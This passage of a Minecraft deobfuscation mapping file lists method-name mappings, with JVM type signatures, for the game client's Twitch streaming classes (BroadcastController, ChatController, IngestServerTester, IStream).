net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152898_a (Ltv/twitch/ErrorCode;[Ltv/twitch/broadcast/GameInfo;)V +MD: net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152896_a (Ltv/twitch/broadcast/IngestList;)V net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152896_a (Ltv/twitch/broadcast/IngestList;)V +MD: net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152894_a (Ltv/twitch/broadcast/StreamInfo;)V net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152894_a (Ltv/twitch/broadcast/StreamInfo;)V +MD: net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152899_b ()V net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152899_b ()V +MD: net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152893_b (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152893_b (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152901_c ()V net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152901_c ()V +MD: net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152892_c (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/BroadcastController$BroadcastListener/func_152892_c (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/BroadcastController/getErrorCode ()Ltv/twitch/ErrorCode; net/minecraft/client/stream/BroadcastController/func_152852_P ()Ltv/twitch/ErrorCode; +MD: net/minecraft/client/stream/BroadcastController/getPixelFormat ()Ltv/twitch/broadcast/PixelFormat; net/minecraft/client/stream/BroadcastController/func_152826_z ()Ltv/twitch/broadcast/PixelFormat; +MD: net/minecraft/client/stream/BroadcastController/func_152817_A ()Z net/minecraft/client/stream/BroadcastController/func_152817_A ()Z +MD: net/minecraft/client/stream/BroadcastController/func_152851_B ()Z net/minecraft/client/stream/BroadcastController/func_152851_B ()Z +MD: net/minecraft/client/stream/BroadcastController/statCallback ()V net/minecraft/client/stream/BroadcastController/statCallback ()V +MD: net/minecraft/client/stream/BroadcastController/func_152845_C ()Z net/minecraft/client/stream/BroadcastController/func_152845_C ()Z +MD: net/minecraft/client/stream/BroadcastController/requestCommercial ()Z net/minecraft/client/stream/BroadcastController/func_152830_D ()Z +MD: net/minecraft/client/stream/BroadcastController/stopBroadcasting ()Z net/minecraft/client/stream/BroadcastController/func_152819_E ()Z +MD: net/minecraft/client/stream/BroadcastController/func_152847_F ()Z net/minecraft/client/stream/BroadcastController/func_152847_F ()Z +MD: net/minecraft/client/stream/BroadcastController/func_152854_G ()Z net/minecraft/client/stream/BroadcastController/func_152854_G ()Z +MD: net/minecraft/client/stream/BroadcastController/func_152821_H ()V net/minecraft/client/stream/BroadcastController/func_152821_H ()V +MD: net/minecraft/client/stream/BroadcastController/func_152835_I ()V net/minecraft/client/stream/BroadcastController/func_152835_I ()V +MD: net/minecraft/client/stream/BroadcastController/func_152838_J ()Lnet/minecraft/client/stream/IngestServerTester; net/minecraft/client/stream/BroadcastController/func_152838_J ()Lnet/minecraft/client/stream/IngestServerTester; +MD: net/minecraft/client/stream/BroadcastController/func_152823_L ()Z net/minecraft/client/stream/BroadcastController/func_152823_L ()Z +MD: net/minecraft/client/stream/BroadcastController/func_152831_M ()V net/minecraft/client/stream/BroadcastController/func_152831_M ()V +MD: net/minecraft/client/stream/BroadcastController/func_152822_N ()Ltv/twitch/broadcast/FrameBuffer; net/minecraft/client/stream/BroadcastController/func_152822_N ()Ltv/twitch/broadcast/FrameBuffer; +MD: net/minecraft/client/stream/BroadcastController/setRecordingDeviceVolume (F)V net/minecraft/client/stream/BroadcastController/func_152829_a (F)V +MD: net/minecraft/client/stream/BroadcastController/func_152834_a (IIFF)Ltv/twitch/broadcast/VideoParams; net/minecraft/client/stream/BroadcastController/func_152834_a (IIFF)Ltv/twitch/broadcast/VideoParams; +MD: net/minecraft/client/stream/BroadcastController/func_152827_a (Lnet/minecraft/client/stream/BroadcastController$BroadcastState;)V net/minecraft/client/stream/BroadcastController/func_152827_a (Lnet/minecraft/client/stream/BroadcastController$BroadcastState;)V +MD: net/minecraft/client/stream/BroadcastController/setBroadcastListener (Lnet/minecraft/client/stream/BroadcastController$BroadcastListener;)V net/minecraft/client/stream/BroadcastController/func_152841_a (Lnet/minecraft/client/stream/BroadcastController$BroadcastListener;)V +MD: net/minecraft/client/stream/BroadcastController/func_152842_a (Ljava/lang/String;)V net/minecraft/client/stream/BroadcastController/func_152842_a (Ljava/lang/String;)V +MD: net/minecraft/client/stream/BroadcastController/func_177947_a (Ljava/lang/String;JJLjava/lang/String;Ljava/lang/String;)Z net/minecraft/client/stream/BroadcastController/func_177947_a (Ljava/lang/String;JJLjava/lang/String;Ljava/lang/String;)Z +MD: net/minecraft/client/stream/BroadcastController/func_152840_a (Ljava/lang/String;JLjava/lang/String;Ljava/lang/String;)Z net/minecraft/client/stream/BroadcastController/func_152840_a (Ljava/lang/String;JLjava/lang/String;Ljava/lang/String;)Z +MD: net/minecraft/client/stream/BroadcastController/func_152828_a (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z net/minecraft/client/stream/BroadcastController/func_152828_a (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z +MD: net/minecraft/client/stream/BroadcastController/func_152818_a (Ljava/lang/String;Ltv/twitch/AuthToken;)Z net/minecraft/client/stream/BroadcastController/func_152818_a (Ljava/lang/String;Ltv/twitch/AuthToken;)Z +MD: net/minecraft/client/stream/BroadcastController/func_152853_a (Ltv/twitch/ErrorCode;)Z net/minecraft/client/stream/BroadcastController/func_152853_a (Ltv/twitch/ErrorCode;)Z +MD: net/minecraft/client/stream/BroadcastController/captureFramebuffer (Ltv/twitch/broadcast/FrameBuffer;)V net/minecraft/client/stream/BroadcastController/func_152846_a (Ltv/twitch/broadcast/FrameBuffer;)V +MD: net/minecraft/client/stream/BroadcastController/setIngestServer (Ltv/twitch/broadcast/IngestServer;)V net/minecraft/client/stream/BroadcastController/func_152824_a (Ltv/twitch/broadcast/IngestServer;)V +MD: net/minecraft/client/stream/BroadcastController/func_152836_a (Ltv/twitch/broadcast/VideoParams;)Z net/minecraft/client/stream/BroadcastController/func_152836_a (Ltv/twitch/broadcast/VideoParams;)Z +MD: net/minecraft/client/stream/BroadcastController/func_152858_b ()Z net/minecraft/client/stream/BroadcastController/func_152858_b ()Z +MD: net/minecraft/client/stream/BroadcastController/setPlaybackDeviceVolume (F)V net/minecraft/client/stream/BroadcastController/func_152837_b (F)V +MD: net/minecraft/client/stream/BroadcastController/func_177946_b (Ljava/lang/String;JLjava/lang/String;Ljava/lang/String;)J net/minecraft/client/stream/BroadcastController/func_177946_b (Ljava/lang/String;JLjava/lang/String;Ljava/lang/String;)J +MD: net/minecraft/client/stream/BroadcastController/submitStreamFrame (Ltv/twitch/broadcast/FrameBuffer;)Ltv/twitch/ErrorCode; net/minecraft/client/stream/BroadcastController/func_152859_b (Ltv/twitch/broadcast/FrameBuffer;)Ltv/twitch/ErrorCode; +MD: net/minecraft/client/stream/BroadcastController/logError (Ljava/lang/String;)V net/minecraft/client/stream/BroadcastController/func_152820_d (Ljava/lang/String;)V +MD: net/minecraft/client/stream/BroadcastController/logWarning (Ljava/lang/String;)V net/minecraft/client/stream/BroadcastController/func_152832_e (Ljava/lang/String;)V +MD: net/minecraft/client/stream/BroadcastController/getStreamInfo ()Ltv/twitch/broadcast/StreamInfo; net/minecraft/client/stream/BroadcastController/func_152816_j ()Ltv/twitch/broadcast/StreamInfo; +MD: net/minecraft/client/stream/BroadcastController/getChannelInfo ()Ltv/twitch/broadcast/ChannelInfo; net/minecraft/client/stream/BroadcastController/func_152843_l ()Ltv/twitch/broadcast/ChannelInfo; +MD: net/minecraft/client/stream/BroadcastController/isBroadcasting ()Z net/minecraft/client/stream/BroadcastController/func_152850_m ()Z +MD: net/minecraft/client/stream/BroadcastController/isReadyToBroadcast ()Z net/minecraft/client/stream/BroadcastController/func_152857_n ()Z +MD: net/minecraft/client/stream/BroadcastController/isIngestTesting ()Z net/minecraft/client/stream/BroadcastController/func_152825_o ()Z +MD: net/minecraft/client/stream/BroadcastController/isBroadcastPaused ()Z net/minecraft/client/stream/BroadcastController/func_152839_p ()Z +MD: net/minecraft/client/stream/BroadcastController/func_152849_q ()Z net/minecraft/client/stream/BroadcastController/func_152849_q ()Z +MD: net/minecraft/client/stream/BroadcastController/getIngestServer ()Ltv/twitch/broadcast/IngestServer; net/minecraft/client/stream/BroadcastController/func_152833_s ()Ltv/twitch/broadcast/IngestServer; +MD: net/minecraft/client/stream/BroadcastController/getIngestList ()Ltv/twitch/broadcast/IngestList; net/minecraft/client/stream/BroadcastController/func_152855_t ()Ltv/twitch/broadcast/IngestList; +MD: net/minecraft/client/stream/BroadcastController/isReady ()Lnet/minecraft/client/stream/IngestServerTester; net/minecraft/client/stream/BroadcastController/func_152856_w ()Lnet/minecraft/client/stream/IngestServerTester; +MD: net/minecraft/client/stream/BroadcastController/getStreamTime ()J net/minecraft/client/stream/BroadcastController/func_152844_x ()J +MD: net/minecraft/client/stream/BroadcastController/func_152848_y ()Z net/minecraft/client/stream/BroadcastController/func_152848_y ()Z +MD: net/minecraft/client/stream/ChatController$1/chatEmoticonDataDownloadCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/ChatController$1/chatEmoticonDataDownloadCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/ChatController$1/chatInitializationCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/ChatController$1/chatInitializationCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/ChatController$1/chatShutdownCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/ChatController$1/chatShutdownCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/ChatController$EnumChannelState/values ()[Lnet/minecraft/client/stream/ChatController$EnumChannelState; net/minecraft/client/stream/ChatController$EnumChannelState/values ()[Lnet/minecraft/client/stream/ChatController$EnumChannelState; +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176040_a ()Lnet/minecraft/client/stream/ChatController$EnumChannelState; net/minecraft/client/stream/ChatController$ChatChannelListener/func_176040_a ()Lnet/minecraft/client/stream/ChatController$EnumChannelState; +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176035_a (Lnet/minecraft/client/stream/ChatController$EnumChannelState;)V net/minecraft/client/stream/ChatController$ChatChannelListener/func_176035_a (Lnet/minecraft/client/stream/ChatController$EnumChannelState;)V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176032_a (Ljava/lang/String;)V net/minecraft/client/stream/ChatController$ChatChannelListener/func_176032_a (Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176038_a (Z)Z net/minecraft/client/stream/ChatController$ChatChannelListener/func_176038_a (Z)Z +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176037_b (Ljava/lang/String;)Z net/minecraft/client/stream/ChatController$ChatChannelListener/func_176037_b (Ljava/lang/String;)Z +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176031_c (Ljava/lang/String;)V net/minecraft/client/stream/ChatController$ChatChannelListener/func_176031_c (Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/chatBadgeDataDownloadCallback (Ljava/lang/String;Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/ChatController$ChatChannelListener/chatBadgeDataDownloadCallback (Ljava/lang/String;Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/chatChannelMembershipCallback (Ljava/lang/String;Ltv/twitch/chat/ChatEvent;Ltv/twitch/chat/ChatChannelInfo;)V net/minecraft/client/stream/ChatController$ChatChannelListener/chatChannelMembershipCallback (Ljava/lang/String;Ltv/twitch/chat/ChatEvent;Ltv/twitch/chat/ChatChannelInfo;)V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/chatChannelRawMessageCallback (Ljava/lang/String;[Ltv/twitch/chat/ChatRawMessage;)V net/minecraft/client/stream/ChatController$ChatChannelListener/chatChannelRawMessageCallback (Ljava/lang/String;[Ltv/twitch/chat/ChatRawMessage;)V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/chatChannelTokenizedMessageCallback (Ljava/lang/String;[Ltv/twitch/chat/ChatTokenizedMessage;)V net/minecraft/client/stream/ChatController$ChatChannelListener/chatChannelTokenizedMessageCallback (Ljava/lang/String;[Ltv/twitch/chat/ChatTokenizedMessage;)V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/chatChannelUserChangeCallback (Ljava/lang/String;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;)V net/minecraft/client/stream/ChatController$ChatChannelListener/chatChannelUserChangeCallback (Ljava/lang/String;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;)V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/chatClearCallback (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/client/stream/ChatController$ChatChannelListener/chatClearCallback (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/chatStatusCallback (Ljava/lang/String;Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/ChatController$ChatChannelListener/chatStatusCallback (Ljava/lang/String;Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176036_d (Ljava/lang/String;)V net/minecraft/client/stream/ChatController$ChatChannelListener/func_176036_d (Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176034_g ()Z net/minecraft/client/stream/ChatController$ChatChannelListener/func_176034_g ()Z +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176041_h ()V net/minecraft/client/stream/ChatController$ChatChannelListener/func_176041_h ()V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176039_i ()V net/minecraft/client/stream/ChatController$ChatChannelListener/func_176039_i ()V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176033_j ()V net/minecraft/client/stream/ChatController$ChatChannelListener/func_176033_j ()V +MD: net/minecraft/client/stream/ChatController$ChatChannelListener/func_176030_k ()V net/minecraft/client/stream/ChatController$ChatChannelListener/func_176030_k ()V +MD: net/minecraft/client/stream/ChatController$ChatState/values ()[Lnet/minecraft/client/stream/ChatController$ChatState; net/minecraft/client/stream/ChatController$ChatState/values ()[Lnet/minecraft/client/stream/ChatController$ChatState; +MD: net/minecraft/client/stream/ChatController$EnumEmoticonMode/values ()[Lnet/minecraft/client/stream/ChatController$EnumEmoticonMode; net/minecraft/client/stream/ChatController$EnumEmoticonMode/values ()[Lnet/minecraft/client/stream/ChatController$EnumEmoticonMode; +MD: net/minecraft/client/stream/ChatController$ChatListener/func_176017_a (Lnet/minecraft/client/stream/ChatController$ChatState;)V net/minecraft/client/stream/ChatController$ChatListener/func_176017_a (Lnet/minecraft/client/stream/ChatController$ChatState;)V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_180606_a (Ljava/lang/String;)V net/minecraft/client/stream/ChatController$ChatListener/func_180606_a (Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_176019_a (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/client/stream/ChatController$ChatListener/func_176019_a (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_180605_a (Ljava/lang/String;[Ltv/twitch/chat/ChatRawMessage;)V net/minecraft/client/stream/ChatController$ChatListener/func_180605_a (Ljava/lang/String;[Ltv/twitch/chat/ChatRawMessage;)V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_176025_a (Ljava/lang/String;[Ltv/twitch/chat/ChatTokenizedMessage;)V net/minecraft/client/stream/ChatController$ChatListener/func_176025_a (Ljava/lang/String;[Ltv/twitch/chat/ChatTokenizedMessage;)V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_176018_a (Ljava/lang/String;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;)V net/minecraft/client/stream/ChatController$ChatListener/func_176018_a (Ljava/lang/String;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;[Ltv/twitch/chat/ChatUserInfo;)V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_180607_b (Ljava/lang/String;)V net/minecraft/client/stream/ChatController$ChatListener/func_180607_b (Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_176016_c (Ljava/lang/String;)V net/minecraft/client/stream/ChatController$ChatListener/func_176016_c (Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_176021_d ()V net/minecraft/client/stream/ChatController$ChatListener/func_176021_d ()V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_176020_d (Ljava/lang/String;)V net/minecraft/client/stream/ChatController$ChatListener/func_176020_d (Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_176023_d (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/ChatController$ChatListener/func_176023_d (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_176024_e ()V net/minecraft/client/stream/ChatController$ChatListener/func_176024_e ()V +MD: net/minecraft/client/stream/ChatController$ChatListener/func_176022_e (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/ChatController$ChatListener/func_176022_e (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/ChatController/func_175985_a (Lnet/minecraft/client/stream/ChatController$ChatState;)V net/minecraft/client/stream/ChatController/func_175985_a (Lnet/minecraft/client/stream/ChatController$ChatState;)V +MD: net/minecraft/client/stream/ChatController/func_152990_a (Lnet/minecraft/client/stream/ChatController$ChatListener;)V net/minecraft/client/stream/ChatController/func_152990_a (Lnet/minecraft/client/stream/ChatController$ChatListener;)V +MD: net/minecraft/client/stream/ChatController/func_152984_a (Ljava/lang/String;)V net/minecraft/client/stream/ChatController/func_152984_a (Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController/func_175986_a (Ljava/lang/String;Ljava/lang/String;)Z net/minecraft/client/stream/ChatController/func_175986_a (Ljava/lang/String;Ljava/lang/String;)Z +MD: net/minecraft/client/stream/ChatController/func_175987_a (Ljava/lang/String;Z)Z net/minecraft/client/stream/ChatController/func_175987_a (Ljava/lang/String;Z)Z +MD: net/minecraft/client/stream/ChatController/func_152994_a (Ltv/twitch/AuthToken;)V net/minecraft/client/stream/ChatController/func_152994_a (Ltv/twitch/AuthToken;)V +MD: net/minecraft/client/stream/ChatController/func_152998_c (Ljava/lang/String;)V net/minecraft/client/stream/ChatController/func_152998_c (Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController/func_175990_d (Ljava/lang/String;)Z net/minecraft/client/stream/ChatController/func_175990_d (Ljava/lang/String;)Z +MD: net/minecraft/client/stream/ChatController/func_175989_e (Ljava/lang/String;)Lnet/minecraft/client/stream/ChatController$EnumChannelState; net/minecraft/client/stream/ChatController/func_175989_e (Ljava/lang/String;)Lnet/minecraft/client/stream/ChatController$EnumChannelState; +MD: net/minecraft/client/stream/ChatController/func_153000_j ()Lnet/minecraft/client/stream/ChatController$ChatState; net/minecraft/client/stream/ChatController/func_153000_j ()Lnet/minecraft/client/stream/ChatController$ChatState; +MD: net/minecraft/client/stream/ChatController/func_152986_d (Ljava/lang/String;)Z net/minecraft/client/stream/ChatController/func_152986_d (Ljava/lang/String;)Z +MD: net/minecraft/client/stream/ChatController/func_175991_l (Ljava/lang/String;)Z net/minecraft/client/stream/ChatController/func_175991_l (Ljava/lang/String;)Z +MD: net/minecraft/client/stream/ChatController/func_175984_n ()Z net/minecraft/client/stream/ChatController/func_175984_n ()Z +MD: net/minecraft/client/stream/ChatController/func_152995_h (Ljava/lang/String;)V net/minecraft/client/stream/ChatController/func_152995_h (Ljava/lang/String;)V +MD: net/minecraft/client/stream/ChatController/func_152993_m ()Z net/minecraft/client/stream/ChatController/func_152993_m ()Z +MD: net/minecraft/client/stream/ChatController/func_175988_p ()V net/minecraft/client/stream/ChatController/func_175988_p ()V +MD: net/minecraft/client/stream/ChatController/func_152997_n ()V net/minecraft/client/stream/ChatController/func_152997_n ()V +MD: net/minecraft/client/stream/ChatController/func_153001_r ()V net/minecraft/client/stream/ChatController/func_153001_r ()V +MD: net/minecraft/client/stream/ChatController/func_152988_s ()V net/minecraft/client/stream/ChatController/func_152988_s ()V +MD: net/minecraft/client/stream/ChatController/func_152996_t ()V net/minecraft/client/stream/ChatController/func_152996_t ()V +MD: net/minecraft/client/stream/IngestServerTester$1/bufferUnlockCallback (J)V net/minecraft/client/stream/IngestServerTester$1/bufferUnlockCallback (J)V +MD: net/minecraft/client/stream/IngestServerTester$1/getArchivingStateCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/ArchivingState;)V net/minecraft/client/stream/IngestServerTester$1/getArchivingStateCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/ArchivingState;)V +MD: net/minecraft/client/stream/IngestServerTester$1/getGameNameListCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/GameInfoList;)V net/minecraft/client/stream/IngestServerTester$1/getGameNameListCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/GameInfoList;)V +MD: net/minecraft/client/stream/IngestServerTester$1/getIngestServersCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/IngestList;)V net/minecraft/client/stream/IngestServerTester$1/getIngestServersCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/IngestList;)V +MD: net/minecraft/client/stream/IngestServerTester$1/getStreamInfoCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/StreamInfo;)V net/minecraft/client/stream/IngestServerTester$1/getStreamInfoCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/StreamInfo;)V +MD: net/minecraft/client/stream/IngestServerTester$1/getUserInfoCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/UserInfo;)V net/minecraft/client/stream/IngestServerTester$1/getUserInfoCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/UserInfo;)V +MD: net/minecraft/client/stream/IngestServerTester$1/loginCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/ChannelInfo;)V net/minecraft/client/stream/IngestServerTester$1/loginCallback (Ltv/twitch/ErrorCode;Ltv/twitch/broadcast/ChannelInfo;)V +MD: net/minecraft/client/stream/IngestServerTester$1/requestAuthTokenCallback (Ltv/twitch/ErrorCode;Ltv/twitch/AuthToken;)V net/minecraft/client/stream/IngestServerTester$1/requestAuthTokenCallback (Ltv/twitch/ErrorCode;Ltv/twitch/AuthToken;)V +MD: net/minecraft/client/stream/IngestServerTester$1/runCommercialCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/IngestServerTester$1/runCommercialCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/IngestServerTester$1/sendActionMetaDataCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/IngestServerTester$1/sendActionMetaDataCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/IngestServerTester$1/sendEndSpanMetaDataCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/IngestServerTester$1/sendEndSpanMetaDataCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/IngestServerTester$1/sendStartSpanMetaDataCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/IngestServerTester$1/sendStartSpanMetaDataCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/IngestServerTester$1/setStreamInfoCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/IngestServerTester$1/setStreamInfoCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/IngestServerTester$1/startCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/IngestServerTester$1/startCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/IngestServerTester$1/stopCallback (Ltv/twitch/ErrorCode;)V net/minecraft/client/stream/IngestServerTester$1/stopCallback (Ltv/twitch/ErrorCode;)V +MD: net/minecraft/client/stream/IngestServerTester$2/statCallback (Ltv/twitch/broadcast/StatType;J)V net/minecraft/client/stream/IngestServerTester$2/statCallback (Ltv/twitch/broadcast/StatType;J)V +MD: net/minecraft/client/stream/IngestServerTester$IngestTestListener/func_152907_a (Lnet/minecraft/client/stream/IngestServerTester;Lnet/minecraft/client/stream/IngestServerTester$IngestTestState;)V net/minecraft/client/stream/IngestServerTester$IngestTestListener/func_152907_a (Lnet/minecraft/client/stream/IngestServerTester;Lnet/minecraft/client/stream/IngestServerTester$IngestTestState;)V +MD: net/minecraft/client/stream/IngestServerTester$IngestTestState/values ()[Lnet/minecraft/client/stream/IngestServerTester$IngestTestState; net/minecraft/client/stream/IngestServerTester$IngestTestState/values ()[Lnet/minecraft/client/stream/IngestServerTester$IngestTestState; +MD: net/minecraft/client/stream/IngestServerTester/func_153042_a (Lnet/minecraft/client/stream/IngestServerTester$IngestTestListener;)V net/minecraft/client/stream/IngestServerTester/func_153042_a (Lnet/minecraft/client/stream/IngestServerTester$IngestTestListener;)V +MD: net/minecraft/client/stream/IngestServerTester/func_153034_a (Lnet/minecraft/client/stream/IngestServerTester$IngestTestState;)V net/minecraft/client/stream/IngestServerTester/func_153034_a (Lnet/minecraft/client/stream/IngestServerTester$IngestTestState;)V +MD: net/minecraft/client/stream/IngestServerTester/func_153036_a (Ltv/twitch/broadcast/IngestServer;)Z net/minecraft/client/stream/IngestServerTester/func_153036_a (Ltv/twitch/broadcast/IngestServer;)Z +MD: net/minecraft/client/stream/IngestServerTester/func_153035_b (Ltv/twitch/broadcast/IngestServer;)V net/minecraft/client/stream/IngestServerTester/func_153035_b (Ltv/twitch/broadcast/IngestServer;)V +MD: net/minecraft/client/stream/IngestServerTester/func_153040_c ()Ltv/twitch/broadcast/IngestServer; net/minecraft/client/stream/IngestServerTester/func_153040_c ()Ltv/twitch/broadcast/IngestServer; +MD: net/minecraft/client/stream/IngestServerTester/func_153029_c (Ltv/twitch/broadcast/IngestServer;)Z net/minecraft/client/stream/IngestServerTester/func_153029_c (Ltv/twitch/broadcast/IngestServer;)Z +MD: net/minecraft/client/stream/IngestServerTester/func_153028_p ()I net/minecraft/client/stream/IngestServerTester/func_153028_p ()I +MD: net/minecraft/client/stream/IngestServerTester/func_153032_e ()Z net/minecraft/client/stream/IngestServerTester/func_153032_e ()Z +MD: net/minecraft/client/stream/IngestServerTester/func_153030_h ()F net/minecraft/client/stream/IngestServerTester/func_153030_h ()F +MD: net/minecraft/client/stream/IngestServerTester/func_176004_j ()V net/minecraft/client/stream/IngestServerTester/func_176004_j ()V +MD: net/minecraft/client/stream/IngestServerTester/func_153041_j ()V net/minecraft/client/stream/IngestServerTester/func_153041_j ()V +MD: net/minecraft/client/stream/IngestServerTester/func_153039_l ()V net/minecraft/client/stream/IngestServerTester/func_153039_l ()V +MD: net/minecraft/client/stream/IngestServerTester/func_153037_m ()J net/minecraft/client/stream/IngestServerTester/func_153037_m ()J +MD: net/minecraft/client/stream/IngestServerTester/func_153038_n ()V net/minecraft/client/stream/IngestServerTester/func_153038_n ()V +MD: net/minecraft/client/stream/IngestServerTester/func_153031_o ()V net/minecraft/client/stream/IngestServerTester/func_153031_o ()V +MD: net/minecraft/client/stream/IStream$AuthFailureReason/values ()[Lnet/minecraft/client/stream/IStream$AuthFailureReason; net/minecraft/client/stream/IStream$AuthFailureReason/values ()[Lnet/minecraft/client/stream/IStream$AuthFailureReason; +MD: net/minecraft/client/stream/IStream/func_152928_D ()Z net/minecraft/client/stream/IStream/func_152928_D ()Z +MD: net/minecraft/client/stream/IStream/func_152912_E ()Ltv/twitch/ErrorCode; net/minecraft/client/stream/IStream/func_152912_E ()Ltv/twitch/ErrorCode; +MD: net/minecraft/client/stream/IStream/func_152913_F ()Z net/minecraft/client/stream/IStream/func_152913_F ()Z +MD: net/minecraft/client/stream/IStream/func_152929_G ()Z net/minecraft/client/stream/IStream/func_152929_G ()Z +MD: net/minecraft/client/stream/IStream/func_152918_H ()Lnet/minecraft/client/stream/IStream$AuthFailureReason; net/minecraft/client/stream/IStream/func_152918_H ()Lnet/minecraft/client/stream/IStream$AuthFailureReason; +MD: net/minecraft/client/stream/IStream/func_152911_a (Lnet/minecraft/client/stream/Metadata;J)V net/minecraft/client/stream/IStream/func_152911_a (Lnet/minecraft/client/stream/Metadata;J)V +MD: net/minecraft/client/stream/IStream/func_176026_a (Lnet/minecraft/client/stream/Metadata;JJ)V net/minecraft/client/stream/IStream/func_176026_a (Lnet/minecraft/client/stream/Metadata;JJ)V +MD: net/minecraft/client/stream/IStream/muteMicrophone (Z)V net/minecraft/client/stream/IStream/func_152910_a (Z)V +MD: net/minecraft/client/stream/IStream/func_152926_a (Ljava/lang/String;)Ltv/twitch/chat/ChatUserInfo; net/minecraft/client/stream/IStream/func_152926_a (Ljava/lang/String;)Ltv/twitch/chat/ChatUserInfo; +MD: net/minecraft/client/stream/IStream/shutdownStream ()V net/minecraft/client/stream/IStream/func_152923_i ()V +MD: net/minecraft/client/stream/IStream/func_152917_b (Ljava/lang/String;)V net/minecraft/client/stream/IStream/func_152917_b (Ljava/lang/String;)V +MD: net/minecraft/client/stream/IStream/func_152935_j ()V net/minecraft/client/stream/IStream/func_152935_j ()V 